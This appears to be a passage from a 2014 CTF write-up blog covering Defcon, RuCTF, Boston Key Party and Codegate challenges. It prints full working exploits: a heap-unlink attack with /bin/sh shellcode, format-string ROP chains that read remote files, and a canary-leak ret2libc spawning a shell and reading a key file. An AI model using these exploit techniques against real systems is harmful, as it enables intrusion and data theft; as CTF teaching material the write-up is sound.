con.write('set AAAAAAAAAAAAAAA2 AAAAAAAAAAAAAAAA\n')
con.write('set AAAAAAAAAAAAAAA4 AAAAAAAAAAAAAAAA\n')
con.write('set AAAAAAAAAAAAAAA0\n')
con.write('set AAAAAAAAAAAAAAA0 AAAAAAAAAAAAAAAA\n')
con.write('set AAAAAAAAAAAAAAA1\n')
con.write('set AAAAAAAAAAAAAAA4\n')
con.write('set BBBBBBBBBBBBBBBB ' + fake_obj + '\n')

con.write('show set\n')
time.sleep(2)
t = con.read_very_eager()
print t

Defcon Quals 2014 - Baby's First - Heap - [Team SegFault]

The 32-bit ELF allocates heap using sbrk() and then calls mprotect() to make is executable. One object of size 260 bytes can be overflowed.
[root@renorobert Defcon2014]# python -c 'print "A"*3000' | ./babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c 

Welcome to your first heap overflow...
I am going to allocate 20 objects...
Using Dougle Lee Allocator 2.6.1...
Goodluck!

Exit function pointer is at 804C8AC address.
[ALLOC][loc=907F008][size=1246]
[ALLOC][loc=907F4F0][size=1 121]
[ALLOC][loc=907F958][size=947]
[ALLOC][loc=907FD10][size=741]
[ALLOC][loc=9080000][size=706]
[ALLOC][loc=90802C8][size=819]
[ALLOC][loc=9080600][size=673]
[ALLOC][loc=90808A8][size=1004]
[ALLOC][loc=9080C98][size=952]
[ALLOC][loc=9081058][size=755]
[ALLOC][loc=9081350][size=260]
[ALLOC][loc=9081458][size=877]
[ALLOC][loc=90817D0][size=1245]
[ALLOC][loc=9081CB8][size=1047]
[ALLOC][loc=90820D8][size=1152]
[ALLOC][loc=9082560][size=1047]
[ALLOC][loc=9082980][size=1059]
[ALLOC][loc=9082DA8][size=906]
[ALLOC][loc=9083138][size=879]
[ALLOC][loc=90834B0][size=823]
Write to object [size=260]:
Copied 3001 bytes.
[FREE][address=907F008]
[FREE][address=907F4F0]
[FREE][address=907F958]
[FREE][address=907FD10]
[FREE][address=9080000]
[FREE][address=90802C8]
[FREE][address=9080600]
[FREE][address=90808A8]
[FREE][address=9080C98]
[FREE][address=9081058]
[FREE][address=9081350]
Segmentation fault (core dumped)
gdb-peda$ x/i $eip
=> 0x80493ca <free+229>: mov    eax,DWORD PTR [eax]
gdb-peda$ info registers 
eax            0x4a495594 0x4a495594
ecx            0x907f004 0x907f004
edx            0x41414140 0x41414140
ebx            0x30aff4 0x30aff4
esp            0xffd9b690 0xffd9b690
ebp            0xffd9b6c8 0xffd9b6c8
esi            0x0 0x0
edi            0x0 0x0
eip            0x80493ca 0x80493ca <free+229>
eflags         0x10202 [ IF RF ]
cs             0x23 0x23
ss             0x2b 0x2b
ds             0x2b 0x2b
es             0x2b 0x2b
fs             0x0 0x0
gs             0x63 0x63
gdb-peda$ x/x $ebp-0x20
0xffd9b6a8: 0x09081454
gdb-peda$ p/x 0x4a495594-0x09081454
$1 = 0x41414140

gdb-peda$ x/x 0x09081454
0x9081454: 0x41414140
0x09081454 points to object [ALLOC][loc=9081058][size=755].
gdb-peda$ x/4x 0x9081350-4
0x908134c: 0x00000108 0x41414141 0x41414141 0x41414141
At obj-4 resides the metadata, which is size of object. The metadata of adjacent object is overflowed, and free(0x9081350) uses this metadata. Below is the disassembly that can lead to write anything anywhere primitive using the overflowed data.
.text:080493BF    mov     eax, [ebp+var_20] ; address of next allocated object
.text:080493C2    mov     eax, [eax]  ; addr pointed by EAX(size) is overwritten due to overflow in 260 bytes object
.text:080493C4    and     eax, 0FFFFFFFEh
.text:080493C7    add     eax, [ebp+var_20] ; address of next allocated object + size
.text:080493CA    mov     eax, [eax]        ; crash here  -> Out of bound read
.text:080493CC    and     eax, 1
.text:080493CF    test    eax, eax
.text:080493D1    jnz     short loc_8049402 ; skip this jump
.text:080493D3    mov     eax, [ebp+var_20] 
.text:080493D6    mov     eax, [eax]  
.text:080493D8    and     eax, 0FFFFFFFEh
.text:080493DB    add     [ebp+size], eax  
.text:080493DE    mov     eax, [ebp+var_20]
.text:080493E1    mov     eax, [eax+8]  ; next_obj+8
.text:080493E4    mov     [ebp+header], eax
.text:080493E7    mov     eax, [ebp+var_20]
.text:080493EA    mov     eax, [eax+4]  ; next_obj+4
.text:080493ED    mov     [ebp+header2], eax
.text:080493F0    mov     eax, [ebp+header2]
.text:080493F3    mov     edx, [ebp+header]
.text:080493F6    mov     [eax+8], edx     ; arbitrary write here
.text:080493F9    mov     eax, [ebp+header]
.text:080493FC    mov     edx, [ebp+header2]
.text:080493FF    mov     [eax+4], edx     ; another write
[root@renorobert Defcon2014]# python -c 'import struct;print "A"*260 + struct.pack("<I", 0x1) + "BBBBCCCC"' | ./babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c
gdb-peda$ x/10i $eip
=> 0x80493f6 <free+273>: mov    DWORD PTR [eax+0x8],edx
   0x80493f9 <free+276>: mov    eax,DWORD PTR [ebp-0x24]
   0x80493fc <free+279>: mov    edx,DWORD PTR [ebp-0x28]
   0x80493ff <free+282>: mov    DWORD PTR [eax+0x4],edx
   0x8049402 <free+285>: mov    eax,DWORD PTR [ebp-0xc]
   0x8049405 <free+288>: mov    eax,DWORD PTR [eax]
   0x8049407 <free+290>: and    eax,0x1
   0x804940a <free+293>: mov    edx,eax
   0x804940c <free+295>: or     edx,DWORD PTR [ebp-0x10]
   0x804940f <free+298>: mov    eax,DWORD PTR [ebp-0xc]
gdb-peda$ info registers 
eax            0x42424242 0x42424242
ecx            0x8689004 0x8689004
edx            0x43434343 0x43434343
ebx            0x30aff4 0x30aff4
esp            0xffde0cc0 0xffde0cc0
ebp            0xffde0cf8 0xffde0cf8
esi            0x0 0x0
edi            0x0 0x0
eip            0x80493f6 0x80493f6 <free+273>
eflags         0x10206 [ PF IF RF ]
cs             0x23 0x23
ss             0x2b 0x2b
ds             0x2b 0x2b
es             0x2b 0x2b
fs             0x0 0x0
gs             0x63 0x63
[*] At 0x80493f6, [header+8] is overwritten with user supplied value of header2
[*] At 0x80493ff, [header2+4] is overwritten user suppled value of header

Exploitation is trivial:
[*] Set header to GOT address of printf - 8
[*] Set header2 to address of object which holds the address our shellcode
[*] During free(), the GOT of printf() is overwritten with address of shellcode
[*] During the next call to printf() before free() is called, shellcode is executed

Below is the full exploit:
#!/usr/bin/env python

import struct
import telnetlib
import re

host = 'babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c.2014.shallweplayaga.me'
host = '127.0.0.1'
port = 4088
con = telnetlib.Telnet(host, port)

# http://shell-storm.org/shellcode/files/shellcode-752.php
nop = "\x90" * 30
shellcode = nop + "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" 

gotprintf = 0x0804c004

t = con.read_until('Write to object [size=260]:')
print t

addr_objc = re.search("\[ALLOC\]\[loc=([a-fA-F\d]{7})\]\[size=260\]",t)
addr_objc = int(addr_objc.groups()[0],16)

payload  = "\x90\x90\xeb\x1c" # jmp patch 
payload += shellcode +  "A"* (260 - len(payload) - len(shellcode))
payload += struct.pack("<I", 0x1)
payload += struct.pack("<I", gotprintf - 8)
payload += struct.pack("<I", addr_objc)
con.write(payload + "\n")
con.interact()
Flag for the challenge is Good job on that doubly linked list. Why don't you try something harder!!OMG!!

Wednesday, March 12, 2014

RuCTF Quals 2014 - Aggregator - Vuln 200 - [Team SegFault]

Vuln 200 is a 32 bit ELF protected with NX and ASLR enabled and no RELRO. This is what it looked like:
[ctf@renorobert ructf]$ nc 192.168.122.100 16711
> a
Available commands:
help -- show this message
quit -- quit
rating -- show player rating
summary <player_name> -- show the main stats of the player
stats <player_name> -- show all the stats of the player
The stats command lead way to a format string vulnerability as the player_name input is directly used in vsnprintf() call. Now this vulnerabilty can be used to take control of EIP.

The choice was to overwrite GOT entry of strncmp(). Reason is, we could reach the buffer used by read() call so that NUL bytes can be used. This is what the read() call looked like
.text:0804A6D0                 mov     [esp+428h+nbytes], 3E8h ; nbytes
.text:0804A6D8                 lea     eax, [ebp+s]
.text:0804A6DE                 mov     [esp+428h+buf], eax ; buf
.text:0804A6E2                 mov     eax, [ebp+fd]
.text:0804A6E5                 mov     [esp+428h+descriptor], eax ; fd
.text:0804A6E8                 call    _read
.text:0804A6ED                 mov     [ebp+var_C], eax
.text:0804A6F0                 cmp     [ebp+var_C], 0
.text:0804A6F4                 jz      short loc_804A70D
.text:0804A6F6                 mov     eax, [ebp+arg_4]
.text:0804A6F9                 mov     [esp+428h+buf], eax ; s
.text:0804A6FD                 lea     eax, [ebp+s]
.text:0804A703                 mov     [esp+428h+user_input], eax 
.text:0804A706                 call    check_options

; check_options
.text:0804A592                 push    ebp
.text:0804A593                 mov     ebp, esp
.text:0804A595                 sub     esp, 28h
.text:0804A598                 mov     [esp+28h+n], 4  ; n
.text:0804A5A0                 mov     [esp+28h+c], offset aQuit ; "quit"
.text:0804A5A8                 mov     eax, [ebp+user_input]
.text:0804A5AB                 mov     [esp+28h+dest], eax
.text:0804A5AE                 call    _strncmp ; EAX holds the address of buffer used by read()
With EAX holding address pointing to user input, there is nice gadget to pivot the stack
0x08048ab8: xchg eax, esp; ret
Using the format string vulnerability, the GOT entry of strncmp() can be overwritten with address of stack pivot gadget to move ESP to buffer used by read(). Now we have both EIP and ESP under control. The idea was to use a ROP payload to call system().

Things didn't go as per plan. Remote machine was running Linux saper 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64 for which a matching libc couldn't be found. Approaches to find/brute system() offset failed. Next attempt was to use a ROP payload to call fopen() to read flag file, hoping that file name would something like 'key' or 'flag'. That didn't work either.

Then we decided to dump the directory list using the following payload:

[*] Overwrite strncmp() to pivot stack into buffer used by read()
[*] Again, shift the stack into bss, to make use of some gadgets
[*] Call opendir() with /home/ directory
[*] Write the pointer returned by opendir() into bss, later leak it using write()
[*] Call readdir() with this leaked address
[*] Dump the memory region using write()
#!/usr/bin/env python

import struct
import telnetlib

ip = '192.168.122.100'
ip = 'vuln1.quals.ructf.org'
port = 16711

plt_write = 0x08048d00
plt_exit = 0x08048ca0
plt_read = 0x08048b90
got_strncmp = 0x0804c3bc
bss = 0x0804c500
option = "stats "
format_str = "%.134515380u%9$n" # 0x08048ab8: xchg eax, esp; 4 bytes are already in payload

con = telnetlib.Telnet(ip, port)
con.read_until('>')

#  overwrite strncmp using format string
payload  = option
payload += struct.pack("<I", got_strncmp)
payload += format_str
con.write(payload + "\n")
con.read_until('>')

payload  = struct.pack("<I", plt_read)
payload += struct.pack("<I", 0x08049542) # pop ebx ; pop esi ; pop ebp ; ret
payload += struct.pack("<I", 0x4) 
payload += struct.pack("<I", bss)
payload += struct.pack("<I", 0x400)
payload += struct.pack("<I", 0x08048a48) # pop esp; ret
payload += struct.pack("<I", bss)

con.write(payload + "\n")
file_to_read = "/home/tasks/aggregator/ctf/" 
file_to_read = file_to_read + "\x00" * (40 - len(file_to_read))

payload  = struct.pack("<I", 0x08048eb0) # opendir@plt
payload += struct.pack("<I", 0x08049544) # pop ebp ; ret
payload += struct.pack("<I", bss+356)

payload += struct.pack("<I", 0x0804aa3e) # pop edi ; pop ebp ; ret
payload += struct.pack("<I", 64)         # for edi
payload += struct.pack("<I", 0x41414141) # junk for ebp
payload += struct.pack("<I", 0x08048b51) # pop ebx
payload += struct.pack("<I", bss+396)    # bss address holding address of 3pop reg gadget
payload += struct.pack("<I", 0x08048a48) # pop esp, ret
payload += struct.pack("<I", bss+400)    # move stack to write the return value of opendir()

#payload += struct.pack("<I", 0x08048991)*3
payload += struct.pack("<I", 0x08048dc0) # readdir@plt
payload += struct.pack("<I", 0x08049544) # pop ebp ; ret
payload += struct.pack("<I", 0x086891f8) # address of stream ; leaked after call to opendir()

payload += struct.pack("<I", plt_write)
payload += struct.pack("<I", plt_exit)
payload += struct.pack("<I", 0x4) 
payload += struct.pack("<I", 0x086891f8)
payload += struct.pack("<I", 0x4000)
# opendir heap address leak
#payload += struct.pack("<I", bss+408)
#payload += struct.pack("<I", 0x4)

payload += "B"*284

payload += file_to_read  
payload += struct.pack("<I", 0x08049542) # pop ebx ; pop esi ; pop ebp ; ret
payload += struct.pack("<I", 0x0804aa27) # mov dword [esp+0x04], eax ; call dword [ebx+edi*4-0x00000100]
payload += "A"*8                         # will be overwritten by stream
payload += struct.pack("<I", 0x08048a48) # pop esp, ret
payload += struct.pack("<I", bss+40)     # restore stack
con.write(payload + "\n")

print con.read_all()
#print hex(struct.unpack("<I",con.read_all().lstrip())[0])
"""
[ctf@renorobert ructf]$ python list_file.py > dump && strings -a ./dump 
Real.ngLog.2012.07.42.42.42.24.7777.log
"""
Dumping through /home/tasks/aggregator/, some interesting file was found in sniperserver and ctf.
[ctf@renorobert ructf]$ python list_file.py > dump && strings -a ./dump 
Unreal.ngLog.2012.07.21.01.53.09.7777.log
Unreal.ngLog.2012.07.21.02.41.14.7777.log
Unreal.ngLog.2012.07.21.01.42.52.7777.log
Unreal.ngLog.2012.07.21.02.44.35.7777.log
Unreal.ngLog.2012.07.24.03.58.53.7777.log
Unreal.ngLog.2012.07.21.02.21.05.7777.log
Unreal.ngLog.2012.07.21.02.49.50.7777.log
Unreal.ngLog.2012.07.21.01.27.20.7777.log
*-xi8
Unreal.ngLog.2012.07.21.01.11.16.7777.log
Unreal.ngLog.2012.07.21.02.58.49.7777.log
Unreal.ngLog.2012.07.21.01.58.17.7777.log
XOw8
Unreal.ngLog.2012.07.21.03.02.54.7777.log
Unreal.ngLog.2012.07.21.02.09.24.7777.log

[ctf@renorobert ructf]$ python list_file.py > dump && strings -a ./dump 
Real.ngLog.2012.07.42.42.42.24.7777.log
The final payload was to read the ctf/Real.ngLog.2012.07.42.42.42.24.7777.log file which gave the flag

[*] Open file using fopen()
[*] Read the contents using read() into bss
[*] Dump the memory using write()
#!/usr/bin/env python

import struct
import telnetlib

ip = '192.168.122.100'
ip = 'vuln1.quals.ructf.org'
port = 16711
plt_write = 0x08048d00
plt_read = 0x08048b90
plt_exit = 0x08048ca0
got_strncmp = 0x0804c3bc
bss = 0x0804c500
option = "stats "
format_str = "%.134515380u%9$n" # 0x08048ab8: xchg eax, esp; 4 bytes are already in payload

con = telnetlib.Telnet(ip, port)
con.read_until('>')

#  overwrite strncmp using format string
payload  = option
payload += struct.pack("<I", got_strncmp)
payload += format_str
con.write(payload + "\n")
con.read_until('>')

payload  = struct.pack("<I", plt_read)
payload += struct.pack("<I", 0x08049542) # pop ebx ; pop esi ; pop ebp ; ret
payload += struct.pack("<I", 0x4) 
payload += struct.pack("<I", bss)
payload += struct.pack("<I", 0x400)
payload += struct.pack("<I", 0x08048a48) # pop esp; ret
payload += struct.pack("<I", bss)
con.write(payload + "\n")

file_to_read  = "ctf/Real.ngLog.2012.07.42.42.42.24.7777.log\x00"
payload  = struct.pack("<I", 0x08048d20) # fopen@plt
payload += struct.pack("<I", 0x08049945) # pop ebx ; pop ebp ; ret
payload += struct.pack("<I", bss+56)     # filename
payload += struct.pack("<I", 0x0804875d) # readmode

payload += struct.pack("<I", plt_read)   # read@plt
payload += struct.pack("<I", 0x08049542) # pop ebx ; pop esi ; pop ebp ; ret
payload += struct.pack("<I", 0x5)        # descriptor
payload += struct.pack("<I", bss+156)
payload += struct.pack("<I", 200)

payload += struct.pack("<I", plt_write)  # write@plt
payload += struct.pack("<I", plt_exit)
payload += struct.pack("<I", 0x4)
payload += struct.pack("<I", bss+156)
payload += struct.pack("<I", 0x1024)
payload += file_to_read

con.write(payload + "\n")
print con.read_all().lstrip().rstrip()
"""
[ctf@renorobert ructf]$ python read_file.py 
0.59 player Connect RUCTF_5b75086a 0 False
0.59 player Connect Fledi 1 False
0.99 player Connect ;itachi 2 False
0.99 player Connect Mina 3 False
0.99 player Connect Dune2000 4 False
2.81 player
"""
Flag for the challenge is RUCTF_5b75086a which I got just 15 mins before closing time :D

Wednesday, March 5, 2014

Boston Key Party CTF 2014 - Door 1 - Crypto 500 - [Team SegFault]

Description:
You need to open door no 5 in a secret facility. We have been trying to brute-force the door without success. One of our agents was able to infiltrate the control room and take a picture. The server is known to use some kind of problematic random number generator for the authentication. Open the door. The service is accessible on 54.186.6.201:8901, good luck with your mission. UPDATE/HINT: LFSR.

We were given an image file with some info, showing the challenge and response communication.
To start with, it was my friend who asked me to look into this problem and said, the challenge received might be seed for LFSR and output sequence might be the expected reply. Lets see.

[*] The challenge received is a 4 byte value. If it has to be seed for LFSR, then the LFSR should have 32 registers to deal with 4 bytes
[*] The screen capture shows a big number which might be a possible output sequence

Below is the number:
0xe4ca194f7b2ab2b3fbe705c
This is how the bitstream looked like:
11100100110010100001100101001111011110110010101010110010101100111111101111100111000001011100
With 92 bits of output sequence in hand and a possible 32 register LFSR, we can find the LFSR feedback function by feeding the Berlekamp-Massey algorithm with 64 bits(2 * length of LFSR) of the output sequnce.

The feedback function found is:
1 + x + x^4 + x^5 + x^6 + x^16 + x^19 + x^31 + x^32
The degree of the polynomial is 32, which supports the possible length of LFSR being 32.

Now, if the sequence 0xe4ca194f7b2ab2b3fbe705c can be generated using the above function and seed 0xf2985327, then we are on right track.
#!/usr/bin/env python

chall = 0xf2985327
seed = [int(i) for i in bin(chall)[2:]]  
# x + x^4 + x^5 + x^6 + x^16 + x^19 + x^31 + x^32 + 1
feedback_function = [1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1]

output = ''
for i in range(96):
    feedback = 0
    output += str(seed[-1])
    for i in range(len(seed)):
        feedback = (seed[i] * feedback_function[i] + feedback) % 2
    seed = [feedback] + seed[:-1]
 
print hex(int(output,2))
[ctf@renorobert BKP]$ python cry500.py
0xe4ca194f7b2ab2b3fbe705ccL
The generated output sequence is equal to the one in the screen capture, so we got the LFSR design right!
Now the amount of bits to be sent as response should be bruteforced. I incremented byte by byte from 96 bits, but soon I was told in IRC that 296 bits is all thats needed. Sending a 296 bits reply gave us the flag.
0x8d3c22ea
0x57443cb1e7daf6a45be190d11d3a1b4902633133d62d5900fd134c3caa91d5c233342fce62
response
> Door open: n0t_s0_r4nd0m_029210
Flag for the challenge is n0t_s0_r4nd0m_029210

Tuesday, February 25, 2014

Codegate CTF Quals 2014 - Angry Doraemon - Pwnable 250 - [Team SegFault]

We were given a 32 bit ELF running on Ubuntu 13.10 x86 system with NX, Stack Canary and ASLR enabled. The vulnerability is in the function that handles option 4.
buf             = dword ptr -16h
.text:0804902F                 mov     dword ptr [esp+8], 6Eh ; nbytes
.text:08049037                 lea     eax, [ebp+buf]
.text:0804903A                 mov     [esp+4], eax    ; buf
.text:0804903E                 mov     eax, [ebp+fd]
.text:08049041                 mov     [esp], eax      ; fd
.text:08049044                 call    _read           ; buffer overflow here 
.text:08049049                 movzx   eax, byte ptr [ebp+buf]
.text:0804904D                 cmp     al, 79h
.text:0804904F                 jnz     canary_check
0x6E bytes can overflow the stack but stack canary should be bypassed to overwrite saved EIP. We can take advantage of below piece of code to get information leak.
.text:08049055                 lea     eax, [ebp+buf]
.text:08049058                 mov     [esp+8], eax
.text:0804905C                 mov     dword ptr [esp+4], offset choice ; "You choose '%s'!\n"
.text:08049064                 mov     dword ptr [esp], offset s ; s
.text:0804906B                 call    _sprintf
.text:08049070                 mov     [ebp+n], eax
.text:08049073                 mov     eax, [ebp+n]
.text:08049076                 mov     [esp+8], eax    ; n
.text:0804907A                 mov     dword ptr [esp+4], offset s ; buf
.text:08049082                 mov     eax, [ebp+fd]
.text:08049085                 mov     [esp], eax      ; fd
.text:08049088                 call    _write
This is what the memory layout looks like
[10 bytes buffer | 4 bytes canary | 8 bytes buffer | 4 bytes EBP | 4 bytes EIP]
Writing 10 bytes to buffer will concatenate the buffer with canary, such that sprintf() will read all 14 bytes since there is no NUL byte to terminate the memory area. But remote server had a canary value with NUL byte, so overwrite with 11 bytes to leak information about the canary. This will give us the canary value along with saved EBP, thus leaking the random address of stack.

We have the address of stack and canary. Idea of the final payload is to call system("sh<&4 >&4"). For this, we leaked information of __libc_start_main's randomized address and computed offsets to the system() function. Now this is what the payload looks like
[nnnnnnnnnn(10 bytes) | leaked canary(4 bytes) | 12 bytes junk | system@libc | 0xdeadbeef | arg ]
Below is the final exploit:
#!/usr/bin/env python

import struct
import socket
import time

ip = '127.0.0.1'
ip = '58.229.183.18'
port = 8888

canary = 0x008bc384
ebp = 0xbfb0a7d8

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
time.sleep(3)

soc.recv(8192)
soc.send("4\n")
time.sleep(1)

soc.recv(512)
canary = struct.pack(">I", canary)

payload  = "n" * 10
payload += canary
payload += "A"*12      # padding
payload += struct.pack("<I", 0xb759f260) # overwrite EIP with system@libc
payload += struct.pack("<I", 0xdeadbeef)
payload += struct.pack("<I", ebp-16)
payload += "sh<&4 >&4\x00"

soc.send(payload + "\n")
soc.send('cat /home/angry_doraemon/key\n')
print soc.recv(1024)
Flag for the challenge is CMP67_eax_N1gHt_Jz_B3d_PND_SeelEEP

Codegate CTF Quals 2014 - dodoCrackme - Reverse 200 - [Team SegFault]

The binary starts with mmap() syscall to allocate a memory of 0x7530 bytes.
.text:00000000004000E0 exit:                                  
.text:00000000004000E0                 mov     eax, 3Ch
.text:00000000004000E5                 mov     edi, 0
.text:00000000004000EA                 syscall
.text:00000000004000EC                 mov     r9d, 0
.text:00000000004000F2                 mov     r8, 0FFFFFFFFFFFFFFFFh
.text:00000000004000F9                 mov     r10d, 22h
.text:00000000004000FF                 mov     edx, 3
.text:0000000000400104                 mov     esi, 7530h
.text:0000000000400109                 mov     edi, 0
.text:000000000040010E                 mov     eax, 9
.text:0000000000400113                 syscall                 ; mmap
.text:0000000000400115                 cmp     rax, 0
.text:0000000000400119                 jle     short exit
.text:000000000040011B                 mov     rbp, rax
.text:000000000040011E                 add     rbp, 3A98h
The allocated memory is then used as stack for performing memory operations. There is lot of lea, inc, dec instructions throughout the binary to compute values. Below is the syscall to write() to print chr(r) and chr(o)
.text:0000000000400276                 lea     rbp, [rbp+8]
.text:000000000040027A                 dec     byte ptr [rbp+0]
.text:000000000040027D                 dec     byte ptr [rbp+0]
.text:0000000000400280                 dec     byte ptr [rbp+0]
.text:0000000000400283                 mov     eax, 1
.text:0000000000400288                 mov     edi, 1
.text:000000000040028D                 mov     rsi, rbp
.text:0000000000400290                 mov     edx, 1
.text:0000000000400295                 syscall                 ; r
.text:0000000000400297                 dec     byte ptr [rbp+0]
.text:000000000040029A                 dec     byte ptr [rbp+0]
.text:000000000040029D                 dec     byte ptr [rbp+0]
.text:00000000004002A0                 mov     eax, 1
.text:00000000004002A5                 mov     edi, 1
.text:00000000004002AA                 mov     rsi, rbp
.text:00000000004002AD                 mov     edx, 1
.text:00000000004002B2                 syscall                 ; o
What I can see is that, value pointed by RBP is being operated upon to create needed characters. Few more system calls prints root@localhost's password: .
[ctf@renorobert codegate14]$ ./crackme_d079a0af0b01789c01d5755c885da4f6 
root@localhost's password: asdfghjkl
Permission denied (password).
Supplying a wrong key prints Permission denied (password). and a maximum of 32 characters are read. Then I decided to break at read() syscall to inspect memory. The idea was to check if all the operations and memory referred by RBP, left the key or any interesting string in the mmap'ed area.
gdb-peda$ break *0x00000000004065AA
gdb-peda$ x/600x $rbp
0x7ffff7ff9b30: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7ff9b38: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7ff9b40: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7ff9b48: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7ff9b50: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7ff9b58: 0x48 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7ff9b60: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7ff9b68: 0x34 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7ff9b70: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7ff9b78: 0x50 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7ff9b80: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7ff9b88: 0x50 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffff7ff9b90: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
All these bytes yields the flag H4PPY_C0DEGaTE_2014_CU_1N_K0RE4